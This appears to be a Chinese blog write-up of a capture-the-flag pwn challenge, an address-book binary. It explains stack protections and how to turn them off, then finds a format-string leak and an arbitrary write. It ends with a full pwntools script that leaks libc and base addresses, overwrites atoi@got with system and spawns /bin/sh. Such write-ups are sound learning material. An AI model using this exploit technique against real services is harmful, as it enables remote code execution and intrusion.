new-easy(pwn)

本文详细介绍了查壳技术中的NX保护、StackCanary防止栈溢出、ASLR和PIE的内存地址随机化策略,以及如何通过调试和格式化字符串漏洞来解决程序安全问题,最终实现远程代码执行。
摘要由CSDN通过智能技术生成

1.进行查壳

在这里插入图片描述
栈保护,三个保护都开了

NX保护

NX保护在Windows中也被成为称为DEP,是通过现代操作系统的内存单元(Memory Protect Unit ,MPU)机制对程序内存页的粒度进行权限设置,其基本规则为可写权限与可执行权限互斥

因此,在开启NX保护的程序中不能直接使用shellcode执行任意代码

所有可以被修改写入shellcode内存都不可执行,所有可以执行的代码数据都是不可被修改的

GCC默认可开启NX保护,关闭方法在编译时加入“-z exestack”参数

Stack Canary

此保护是针对于栈溢出攻击设计的一种保护机制。由于栈溢出攻击的主要目标通过溢出覆盖函数栈高位的返回地址,因此其思路是在函数开始执行前,即在返回地地址前写入一个字长的随机数据,在函数返回前校验该值是否被改变,如果被改变,则认为是发生了栈溢出。程序回直接终止

GCC默认使用Stack Canary 保护,关闭方法是在编译时加入“-fno-stack-protector”

ASLR

Address Space Layout Randomization
ASLR的目的是将程序的堆栈地址和动态链接库的加载地址进行一定的随机化,这些地址之间是不可读写执行的为映射内存,降低攻击者对程序内存结构的了解

这样,即使攻击者布置了shellcode并可以控制跳转,由于内存地址结构未知,依然无法执行shellcode

ASLR是系统等级的保护机制,关闭方式是修改/proc/sys/kernel/randmize_ va _ space文件的额内容为0

PIE

与ASLR保护十分类似,PIE保护的目的是让可执行程序ELF的地址进行随机化加载,从而使得程序的内存结构对攻击者完全未知,进一步提高程序的安全性

GCC编译开启PIE的方法为添加参数“ -fpic -pie"

新版本”- no -pie” 进行关闭

Full Relro

Full Relro保护与Linux下的Lazy Binding机制有关,其主要作用是禁止 .GOT.PLT表和其他一些相关内存的读写,从而阻止攻击者通过写 .GOT.PLT 表来进行攻击利用的手段

GCC开启Full Relro的方法是添加参数“-z relro”

同时我们运行程序看看
在这里插入图片描述
操作一下根据提示,应该是录入人员的信息

2.IDA进行分析

主函数进行分析
在这里插入图片描述

sub_B56

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

sub_C32

在这里插入图片描述
这里就是我们程序运行的主要界面
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

最后返回atoi返回指令进行下一步

sub_1003

在这里插入图片描述
在这里插入图片描述

sub_10EB

在这里插入图片描述

sub_CCE

在这里插入图片描述

上面每个函数有个奇怪的东西为啥都有_readfsqword(0x28u)???

这就是栈的保护,以sub_CEE函数为例,在汇编层面我们看看
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

sub_E13

在这里插入图片描述还有个发现
在这里插入图片描述
在进行通讯录修改操作时,会将用户输入内容写入qword_2020F8[4*v1]所指向的地址处

通过前面的分析,我们知道qword_2020F8[4*0]地址位于索引为0的用户通讯录记录name字段后紧邻位置

并且name字段输入无大小限制,所以我们可以通过设计索引为0的name的输入

控制qword_2020F8[0]所指向的地址值,进而向该地址输入数据

即可以向任意地址写入数据。这是解这道题时比较巧妙的地方

3.解题

过调试分析和格式化字符串漏洞将栈上有关数据溢出

进而计算出程序加载基址和动态链接库中函数地址

进一步算出动态链接库加载基址

然后可以获得system地址和函数atoi@got地址

通过修改函数got表地址为system地址

使程序在调用该函数时调用system(“/bin/sh”)进而获得系统shell
在这里插入图片描述
程序的基址从上面这个地方开始

进入输出的print函数中
在这里插入图片描述
说实话这里没有搞懂为什么断点,格式化字符串要找的参数这样看

即通过格式化字符串漏洞泄露(%13 $ p%9$p)出第13个参数和第9个参数的值,

前者减240为__libc_start_main函数地址,后者减0x1274为程序加载基址

from pwn import *

elf = ELF('')
libc = ELF('libc-2.23.so')
sh = remote('',)

def Add(phone,name,size,info):
    sh.sendlineafter('choice>>','1')
    sh.sendlineafter('number:',phone)
    sh.sendlineafter('name:',name)
    sh.sendlineafter('size:',size)
    sh.sendlineafter('info:',info)

def Edit(index,phone,name,info):
    sh.sendlineafter('choice>>','4')
    sh.sendlineafter('index:',index)
    sh.sendlineafter('number:',phone)
    sh.sendlineafter('name:',name)
    sh.sendlineafter('info:',info)

def Show(index):
    sh.sendlineafter('choice>>','3')
    sh.sendlineafter('index:',index)

# 泄露相关栈地址
Add('%13$p%9$p','aaaaaaaa','15','12345')
Show('0')
sh.recvuntil('0x')
libc_start_main = int(sh.recv(12),16) - 240
sh.recvuntil('0x')
# 计算基址及所需函数地址
elf_base = int(sh.recv(12),16) - 0x1274
libc_start_main_base = libc_start_main - libc.symbols['__libc_start_main']
system_addr = libc_start_main_base + libc.symbols['system']
atoi_got = elf_base + elf.got['atoi']

# 修改atoi@got为system地址
Edit('0','c'*11,b'd'*13+p64(atoi_got),p64(system_addr))
sh.sendlineafter('>>','/bin/sh')
sh.interactive()
print(sh.recv())
  • 31
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Back~~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值